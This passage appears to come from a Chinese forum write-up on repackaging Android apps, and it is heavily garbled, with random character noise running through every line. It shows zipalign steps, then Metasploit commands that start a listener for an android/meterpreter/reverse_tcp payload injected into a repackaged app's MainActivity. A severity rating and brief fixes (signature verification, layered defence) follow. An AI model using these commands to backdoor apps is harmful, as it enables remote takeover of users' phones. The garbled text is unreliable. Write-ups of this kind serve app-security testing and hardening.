6 E# e% a/ K5 ` . Q5 N4 F0 o' U& X0 y/ g 字节对齐优化 $ j9 P: v \8 i$ ]& o 8 g9 w& `' _( K) B+ U: C3 r

0 u0 e; y$ O1 ~7 u: I2 r - d3 w- c" [+ N# C2 D zipalign -v 4 repackaged.apk final.apk % h, W8 [$ V' f# s: w , e% Q* J" D7 P5 N7 V: p& [. d

, K. S( K+ C+ f* J" U C/ N/ o / _8 O. Z" [/ O" c* G1 n+ V 检查是否对齐 ) c- z- L0 Y6 b % `4 q8 t- i/ W) \/ a

' O* z. ?% v2 P6 X $ N5 f( T4 A" Q( X/ g. T zipalign -c -v 4 final.apk 6 G( C& i# H% d ?) l $ n- d4 U- t5 K2 B

5 W! `& k; e/ U & I% o# e8 y, w" P9 s2 ~3 a 注：zipalign可以在V1签名后执行，但zipalign不能在V2签名后执行,只能在V2签名之前执行 3 F: `; Y. ]1 m6 k, N2 q, _ 5 h, w5 ~$ r) u5 Z' {4 u, N4 r

8 O8 r; i: ]+ m& U7 x* K, u 7 w* `) b- P, Y% A7 @% r5 ^ 启动Metasploit控制台，配置参数等待上线 4 S3 t5 R$ a7 O" E# x; f+ ~6 k6 I" `/ j

" l7 u1 `4 g0 j: H# o# _ 5 K3 T$ e, e, H* ^; L 在终端依次输入如下命令 1 O9 Q, c8 n8 V4 z$ ~, E/ V& z$ o3 T

7 z# S, c: b% ]: }/ ^ + i9 Y6 c6 X8 H9 \0 W! z5 E msfconsole - B5 j1 @! V7 j- x% g3 a, U9 O7 d. `7 v

1 H) J) I; \/ N: w ; t) H# k4 v! y% [) O use exploit/multi/handler ' ?" ~0 |0 S# G7 L3 u p8 d- I& v . X q$ f/ @1 X9 M; R/ h8 c

, M& z( D/ T; R" |/ }2 O* Z7 f' Q1 @: k L! V! n, ?8 _: |( q set PAYLOAD android/meterpreter/reverse_tcp 2 N) C7 j, i4 t: Y+ Y7 H B; R ; `: C3 p7 |5 \' C( x: [1 Q

) Z0 _5 O+ D( K $ u5 H& l9 [2 A* m- f+ s! i' O set LHOST 192.xxx.xx.xx + X6 @- G2 C) s% m7 q5 n3 [ - D( B! E( h z# @; V

8 a% I/ u* Q/ `0 [ 2 X5 q! V6 c, Y3 o set LPORT 4444 0 T2 E8 `% t3 W- N 4 n4 y, K; Q e! K

# w0 C* q7 V+ E8 p " |9 w) Z, w) @" g1 i: ^- q# D exploit 6 U" Q/ f- j& I) [% f) v, Z2 ]+ ?& j3 M' D F0 R- W+ v

/ `, Q/ l7 O, q: L( o6 u ) r0 Q2 S3 Y& X5 D* y8 o 之前我们把入口放在 MainActivity 的 onCreate 方法中，当启动目标应用进入该界面，就会连接成功，如下图： ; o( G3 Y- j. r' b+ I: n5 O & s: G b4 A5 l# j

5 E: ]% Q; T! m, l2 L& U d% ]3 S5 G! Z* R+ h: V* N 漏洞危害：中 " v1 Q. J" c6 J8 v7 w1 z$ Q ) u8 x& m3 g R$ f# s

" g& T7 ^5 Z1 ?: v8 ]+ t. y6 V5 Z / s, Z' k+ u# @5 D+ \ D1 P j: p8 ?: j, }# L 严重程度 : \|2 i h w8 l! d ; E4 _. I, f/ Q; K C 4 P% t" l9 q% c9 y( O7 Z- z, l6 Q8 T9 q: ]. X J9 \	9 W$ w% p3 s) b2 i8 y ) @ ^% }" \( I' J7 W! F $ ^, s9 d \$ X' V7 z/ v) g; m 1 E: y: y( [$ f 高 1 e6 p$ O+ A) a8 v& F 1 ]8 R! }* U* @+ s. k # k% y1 [/ C% ~+ L, _0 e # C6 O& \|% s9 a( `	/ i3 w$ x# E+ P. ]4 r% q0 {& K 7 {3 f5 F, t2 F+ W% Y2 W * T( f2 @$ q$ l3 K9 D/ M" N- q5 W9 P; M3 W- s; e0 P' B ■ 5 i2 R0 p( j4 G# h5 a2 o% e8 h; h. R6 `2 P, Z; G" W( m 8 V; A6 E6 V% C8 s8 N2 b0 e& p( {; o4 A- x8 k	+ W2 R/ {, m- l4 ?8 D) g4 ` @& m+ J. w" }5 @- H/ V 1 w7 g. ]- P5 ^6 z- W) A& x0 e4 M1 D: H9 _ 中 4 o: q, i) B7 m0 Y. f& S% e& V 1 p" e, v+ ~# b) }& Q# w& x 1 U. ^) O& B4 Q \5 x7 k3 w; I3 r4 ~+ }1 e	% X7 A- z& c" E: C 9 R3 Y& `, L0 k0 o7 O : Q7 Z. p5 Z" W% v4 C8 K4 } 4 [4 X) k8 R5 y 8 d$ K2 c+ w* Y ?4 K h 7 `3 w5 `( m. V9 P) B- P% h " z7 [. o9 {& m8 E 3 y. H# {: J- G) M- D ) d% q/ t& p4 `$ \/ G* h3 s8 g5 `" I4 u( v	, Y2 a# b" o4 u2 c 6 u! s6 i1 b# j9 U ; B7 c! @ w" Z m / u: ~$ C: \|' x5 t4 B2 } 低 0 U) y+ K" \: y% {$ q+ {/ q+ K5 Q0 ^; W4 D5 ^+ n ( }; O, a- K0 U4 [/ ~ \| 5 X4 s% R' Z" v! E9 M6 ?	2 w' O) ]# l( Z; t* b z9 \7 x! A* K0 a+ d ( o- R2 n, w( ]# W5 U! M+ {2 a: q. r7 @0 s2 C 0 `# i# ]! U. ? 1 l4 r5 x4 u' W9 _1 T) X! h ( x* ]4 L6 \/ ~ g; z5 U6 t 3 c5 ]* \|: {# z - Z/ O8 Y5 }3 I8 O 3 G8 X7 L7 B6 ]& O) Y5 C" n8 U) L

8 }$ N' j8 n5 u4 _& i {! z( | # O% S) ~/ B+ J" d1 o( W % F f* `% m% S2 i7 \6 ~0 D- g3 X+ L: _; g2 E. ?

* E6 |$ r/ `6 ^. ~- W* A# X 8 d1 ~2 a: I* ~4 |/ Q 修复方法： ! f- v* f- B3 k q2 {6 G" {7 d0 J8 ]& h& c& i% |9 R `; L9 E

4 \2 |& j% a0 u2 a" D& }6 s4 V; ]4 k- u 1.在 APP 启动时应做签名校验防止二次打包。
& r/ }5 S+ P% c$ ^7 C8 u1 E& p' ?$ ~! d* V; s# \ 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。 4 f+ s$ V o; y7 e- Q 9 N J6 B8 \% y/ ~2 h

# H" a, W* L" Z8 X- g2 E: M- s 9 j" k" N1 Z5 i' q4 r5 i5 y9 ? % ^( `) @4 R4 [6 \. z # J8 P/ v' j7 i6 C6 e

" ~' h. \* d5 P, _$ x0 E/ e# Z+ Y4 k1 n; J( R2 o6 O$ v
; {1 ?4 G, i1 }8 ~! r9 s# p5 B% G/ s$ T/ P9 Y2 n

		自动登录	找回密码
密码			立即注册